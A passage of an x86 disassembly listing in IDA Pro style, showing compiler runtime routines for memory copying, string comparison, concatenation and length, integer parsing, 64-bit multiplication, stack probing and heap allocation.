		sub	ecx, 4
		jb	short loc_4173E4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_4173EC+4[eax*4]
; ---------------------------------------------------------------------------


loc_4173E4:				; CODE XREF: sub_417390+46j
		jmp	dword ptr loc_4174E8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4173EC:				; CODE XREF: sub_417390+31j
					; sub_417390+8Ej ...
		jmp	off_41746C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_417400
		dd offset loc_41742C
		dd offset loc_417450
; ---------------------------------------------------------------------------


loc_417400:				; DATA XREF: sub_417390+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41742C:				; DATA XREF: sub_417390+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417450:				; DATA XREF: sub_417390+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_4173EC
		rep movsd
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41746C	dd offset loc_4174CF	; DATA XREF: sub_417390:loc_4173ECr
		dd offset loc_4174BC
		dd offset loc_4174B4
		dd offset loc_4174AC
		dd offset loc_4174A4
		dd offset loc_41749C
		dd offset loc_417494
		dd offset loc_41748C
; ---------------------------------------------------------------------------


loc_41748C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_417494:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41749C:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4174A4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4174AC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4174B4:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4174BC:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4174CF:				; CODE XREF: sub_417390:loc_4173ECj
					; DATA XREF: sub_417390:off_41746Co
		jmp	off_4174D8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4174D8	dd offset loc_4174E8	; DATA XREF: sub_417390+35r
					; sub_417390+92r ...
		dd offset loc_4174F0
		dd offset loc_4174FC
		dd offset loc_417510
; ---------------------------------------------------------------------------


loc_4174E8:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_4174F0:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4174FC:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_417510:				; CODE XREF: sub_417390+35j
					; sub_417390+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417528:				; CODE XREF: sub_417390+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41755C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_417550:				; CODE XREF: sub_417390+1B1j
					; sub_417390+208j ...
		neg	ecx
		jmp	off_417620[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41755C:				; CODE XREF: sub_417390+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_417574
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_417574+4[eax*4]
; ---------------------------------------------------------------------------


loc_417574:				; CODE XREF: sub_417390+1D6j
					; DATA XREF: sub_417390+1DDr
		jmp	off_417670[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	[ebp+arg_39], dh
		add	[eax-2FFFBE8Bh], ch
		jnz	short loc_4175C8
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_417550
		std
		rep movsd
		cld


loc_4175C8:				; CODE XREF: sub_417390+1F5j
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_417550
		std
		rep movsd
		cld
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_417624
		dd offset loc_41762C
		dd offset loc_417634
		dd offset loc_41763C
		dd offset loc_417644
		dd offset loc_41764C
		dd offset loc_417654
off_417620	dd offset loc_417667	; DATA XREF: sub_417390+1C2r
; ---------------------------------------------------------------------------


loc_417624:				; DATA XREF: sub_417390+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41762C:				; DATA XREF: sub_417390+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_417634:				; DATA XREF: sub_417390+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41763C:				; DATA XREF: sub_417390+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_417644:				; DATA XREF: sub_417390+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41764C:				; DATA XREF: sub_417390+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_417654:				; DATA XREF: sub_417390+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_417667:				; CODE XREF: sub_417390+1C2j
					; DATA XREF: sub_417390:off_417620o
		jmp	off_417670[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_417670	dd offset loc_417680	; DATA XREF: sub_417390+1B7r
					; sub_417390:loc_417574r ...
		dd offset loc_417688
		dd offset loc_417698
		dd offset loc_4176AC
; ---------------------------------------------------------------------------


loc_417680:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417688:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417698:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4176AC:				; CODE XREF: sub_417390+1B7j
					; sub_417390:loc_417574j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_417390	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4176D0	proc near		; CODE XREF: sub_4010B5+FCp
					; sub_4010B5+118p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41771C


loc_4176E0:				; CODE XREF: sub_4176D0+3Cj
					; sub_4176D0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+3]
		jnz	short loc_417714
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_4176E0
		mov	edi, edi


loc_417710:				; CODE XREF: sub_4176D0+18j
					; sub_4176D0+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_417714:				; CODE XREF: sub_4176D0+14j
					; sub_4176D0+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41771C:				; CODE XREF: sub_4176D0+Ej
		test	edx, 1
		jz	short loc_417738
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_417714
		inc	ecx
		or	al, al
		jz	short loc_417710
		test	edx, 2
		jz	short loc_4176E0


loc_417738:				; CODE XREF: sub_4176D0+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_417714
		or	al, al
		jz	short loc_417710
		cmp	ah, [ecx+1]
		jnz	short loc_417714
		or	ah, ah
		jz	short loc_417710
		add	ecx, 2
		jmp	short loc_4176E0
sub_4176D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417760	proc near		; CODE XREF: sub_4010B5+19Ep
					; sub_401A76+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_417779
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_417779:				; CODE XREF: sub_417760+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_417760	endp


; =============== S U B	R O U T	I N E =======================================



sub_417794	proc near		; CODE XREF: sub_41781F+4p
					; sub_42094E+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_41779C:				; CODE XREF: sub_417794+34j
		cmp	dword_4397AC, 1
		jle	short loc_4177B4
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_4177C3
; ---------------------------------------------------------------------------


loc_4177B4:				; CODE XREF: sub_417794+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_4395A0
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_4177C3:				; CODE XREF: sub_417794+1Ej
		test	eax, eax
		jz	short loc_4177CA
		inc	edi
		jmp	short loc_41779C
; ---------------------------------------------------------------------------


loc_4177CA:				; CODE XREF: sub_417794+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_4177DA
		cmp	esi, 2Bh
		jnz	short loc_4177DE


loc_4177DA:				; CODE XREF: sub_417794+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_4177DE:				; CODE XREF: sub_417794+44j
		xor	ebx, ebx


loc_4177E0:				; CODE XREF: sub_417794+7Bj
		cmp	dword_4397AC, 1
		jle	short loc_4177F5
		push	4
		push	esi
		call	sub_41A642
		pop	ecx
		pop	ecx
		jmp	short loc_417800
; ---------------------------------------------------------------------------


loc_4177F5:				; CODE XREF: sub_417794+53j
		mov	eax, off_4395A0
		mov	al, [eax+esi*2]
		and	eax, 4


loc_417800:				; CODE XREF: sub_417794+5Fj
		test	eax, eax
		jz	short loc_417811
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_4177E0
; ---------------------------------------------------------------------------


loc_417811:				; CODE XREF: sub_417794+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_41781A
		neg	eax


loc_41781A:				; CODE XREF: sub_417794+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_417794	endp


; =============== S U B	R O U T	I N E =======================================



sub_41781F	proc near		; CODE XREF: sub_4013EC+12p
					; sub_4013EC+1Dp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_417794
		pop	ecx
		retn
sub_41781F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41782A	proc near		; CODE XREF: sub_40144A+318p
					; sub_401D82+460p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_14], 42h
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_8]
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_417869
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_417876
; ---------------------------------------------------------------------------


loc_417869:				; CODE XREF: sub_41782A+35j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx


loc_417876:				; CODE XREF: sub_41782A+3Dj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41782A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417880	proc near		; CODE XREF: sub_401D82+2D8p
					; sub_401D82+2F8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		push	edi
		push	ebx
		push	esi
		mov	dl, [ecx]
		mov	edi, [esp+0Ch+arg_0]
		test	dl, dl
		jz	short loc_4178FA
		mov	dh, [ecx+1]
		test	dh, dh
		jz	short loc_4178E7


loc_417898:				; CODE XREF: sub_417880+52j
					; sub_417880+65j
		mov	esi, edi
		mov	ecx, [esp+0Ch+arg_4]
		mov	al, [edi]
		inc	esi
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jz	short loc_4178B4


loc_4178A9:				; CODE XREF: sub_417880+32j
		mov	al, [esi]
		inc	esi


loc_4178AC:				; CODE XREF: sub_417880+3Fj
		cmp	al, dl
		jz	short loc_4178BA
		test	al, al
		jnz	short loc_4178A9


loc_4178B4:				; CODE XREF: sub_417880+27j
		pop	esi
		pop	ebx
		pop	edi
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_4178BA:				; CODE XREF: sub_417880+23j
					; sub_417880+2Ej
		mov	al, [esi]
		inc	esi
		cmp	al, dh
		jnz	short loc_4178AC
		lea	edi, [esi-1]


loc_4178C4:				; CODE XREF: sub_417880+63j
		mov	ah, [ecx+2]
		test	ah, ah
		jz	short loc_4178F3
		mov	al, [esi]
		add	esi, 2
		cmp	al, ah
		jnz	short loc_417898
		mov	al, [ecx+3]
		test	al, al
		jz	short loc_4178F3
		mov	ah, [esi-1]
		add	ecx, 2
		cmp	al, ah
		jz	short loc_4178C4
		jmp	short loc_417898
; ---------------------------------------------------------------------------


loc_4178E7:				; CODE XREF: sub_417880+16j
		xor	eax, eax
		pop	esi
		pop	ebx
		pop	edi
		mov	al, dl
		jmp	loc_418F56
; ---------------------------------------------------------------------------


loc_4178F3:				; CODE XREF: sub_417880+49j
					; sub_417880+59j
		lea	eax, [edi-1]
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4178FA:				; CODE XREF: sub_417880+Fj
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_417880	endp


; =============== S U B	R O U T	I N E =======================================



sub_417900	proc near		; CODE XREF: sub_4022C6+94p
					; sub_405A58+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_417915
		or	eax, 0FFFFFFFFh
		jmp	short loc_41794F
; ---------------------------------------------------------------------------


loc_417915:				; CODE XREF: sub_417900+Ej
		test	al, 83h
		jz	short loc_41794D
		push	esi
		call	sub_41A7D0
		push	esi
		mov	edi, eax
		call	sub_41A76A
		push	dword ptr [esi+10h]
		call	sub_41A6B7
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41793B
		or	edi, 0FFFFFFFFh
		jmp	short loc_41794D
; ---------------------------------------------------------------------------


loc_41793B:				; CODE XREF: sub_417900+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41794D
		push	eax
		call	sub_417C3B
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41794D:				; CODE XREF: sub_417900+17j
					; sub_417900+39j ...
		mov	eax, edi


loc_41794F:				; CODE XREF: sub_417900+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_417900	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417956	proc near		; CODE XREF: sub_4022C6+8Ep
					; sub_40EE72+2B0Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41A8A2
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_419E38
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_41A92F
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417956	endp


; =============== S U B	R O U T	I N E =======================================



sub_417988	proc near		; CODE XREF: sub_4179A8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41AADC
		test	eax, eax
		jnz	short loc_417992
		retn
; ---------------------------------------------------------------------------


loc_417992:				; CODE XREF: sub_417988+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41A96C
		add	esp, 10h
		retn
sub_417988	endp


; =============== S U B	R O U T	I N E =======================================



sub_4179A8	proc near		; CODE XREF: sub_4022C6+54p
					; sub_405A58+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_417988
		add	esp, 0Ch
		retn
sub_4179A8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179C0	proc near		; CODE XREF: sub_405AF2+2BFp
					; sub_40A7D7+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_417A31
sub_4179C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4179D0	proc near		; CODE XREF: sub_4022C6+32p
					; sub_4022C6+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_4179EC


loc_4179DD:				; CODE XREF: sub_4179D0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417A1F
		test	ecx, 3
		jnz	short loc_4179DD


loc_4179EC:				; CODE XREF: sub_4179D0+Bj
					; sub_4179D0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_4179EC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417A2E
		test	ah, ah
		jz	short loc_417A29
		test	eax, 0FF0000h
		jz	short loc_417A24
		test	eax, 0FF000000h
		jz	short loc_417A1F
		jmp	short loc_4179EC
; ---------------------------------------------------------------------------


loc_417A1F:				; CODE XREF: sub_4179D0+12j
					; sub_4179D0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A24:				; CODE XREF: sub_4179D0+44j
		lea	edi, [ecx-2]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A29:				; CODE XREF: sub_4179D0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_417A31
; ---------------------------------------------------------------------------


loc_417A2E:				; CODE XREF: sub_4179D0+39j
		lea	edi, [ecx-4]


loc_417A31:				; CODE XREF: sub_4179C0+5j
					; sub_4179D0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_417A56


loc_417A3D:				; CODE XREF: sub_4179D0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_417AA8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_417A3D
		jmp	short loc_417A56
; ---------------------------------------------------------------------------


loc_417A51:				; CODE XREF: sub_4179D0+9Ej
					; sub_4179D0+B8j
		mov	[edi], edx
		add	edi, 4


loc_417A56:				; CODE XREF: sub_4179D0+6Bj
					; sub_4179D0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417A51
		test	dl, dl
		jz	short loc_417AA8
		test	dh, dh
		jz	short loc_417A9F
		test	edx, 0FF0000h
		jz	short loc_417A92
		test	edx, 0FF000000h
		jz	short loc_417A8A
		jmp	short loc_417A51
; ---------------------------------------------------------------------------


loc_417A8A:				; CODE XREF: sub_4179D0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A92:				; CODE XREF: sub_4179D0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417A9F:				; CODE XREF: sub_4179D0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_417AA8:				; CODE XREF: sub_4179D0+72j
					; sub_4179D0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_4179D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_417AB0	proc near		; CODE XREF: sub_4023A7+1A7p
					; sub_4023A7:loc_402561p ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_417AD0


loc_417ABC:				; CODE XREF: sub_417AB0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_417B03
		test	ecx, 3
		jnz	short loc_417ABC
		add	eax, 0


loc_417AD0:				; CODE XREF: sub_417AB0+Aj
					; sub_417AB0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_417AD0
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_417B21
		test	ah, ah
		jz	short loc_417B17
		test	eax, 0FF0000h
		jz	short loc_417B0D
		test	eax, 0FF000000h
		jz	short loc_417B03
		jmp	short loc_417AD0
; ---------------------------------------------------------------------------


loc_417B03:				; CODE XREF: sub_417AB0+11j
					; sub_417AB0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B0D:				; CODE XREF: sub_417AB0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B17:				; CODE XREF: sub_417AB0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_417B21:				; CODE XREF: sub_417AB0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_417AB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_417B30	proc near		; CODE XREF: sub_402688+8p
					; sub_402B84+8p ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_417B50


loc_417B3C:				; CODE XREF: sub_417B30+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_417B3C


loc_417B50:				; CODE XREF: sub_417B30+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_417B30	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B5F	proc near		; CODE XREF: sub_4029E9+7Ap
					; sub_4029E9+8Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, eax
		cmp	word ptr [eax],	0
		jz	short loc_417B73


loc_417B6B:				; CODE XREF: sub_417B5F+12j
		inc	ecx
		inc	ecx
		cmp	word ptr [ecx],	0
		jnz	short loc_417B6B


loc_417B73:				; CODE XREF: sub_417B5F+Aj
		mov	edx, [esp+arg_4]
		push	esi


loc_417B78:				; CODE XREF: sub_417B5F+26j
		mov	si, [edx]
		mov	[ecx], si
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	si, si
		jnz	short loc_417B78
		pop	esi
		retn
sub_417B5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B89	proc near		; CODE XREF: sub_402B84+220p
					; sub_402DD7+C1p ...

arg_0		= dword	ptr  4

		push	dword_48A074
		push	[esp+4+arg_0]
		call	sub_417B9B
		pop	ecx
		pop	ecx
		retn
sub_417B89	endp


; =============== S U B	R O U T	I N E =======================================



sub_417B9B	proc near		; CODE XREF: sub_417B89+Ap
					; sub_4185F5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_417BC4


loc_417BA2:				; CODE XREF: sub_417B9B+27j
		push	[esp+arg_0]
		call	sub_417BC7
		test	eax, eax
		pop	ecx
		jnz	short locret_417BC6
		cmp	[esp+arg_4], eax
		jz	short locret_417BC6
		push	[esp+arg_0]
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_417BA2


loc_417BC4:				; CODE XREF: sub_417B9B+5j
		xor	eax, eax

locret_417BC6:				; CODE XREF: sub_417B9B+13j
					; sub_417B9B+19j
		retn
sub_417B9B	endp


; =============== S U B	R O U T	I N E =======================================



sub_417BC7	proc near		; CODE XREF: sub_417B9B+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_48B688
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_417BEB
		cmp	esi, dword_48B680
		ja	short loc_417C1D
		push	esi
		call	sub_41B0DD
		test	eax, eax
		pop	ecx
		jz	short loc_417C1D
		pop	esi
		retn
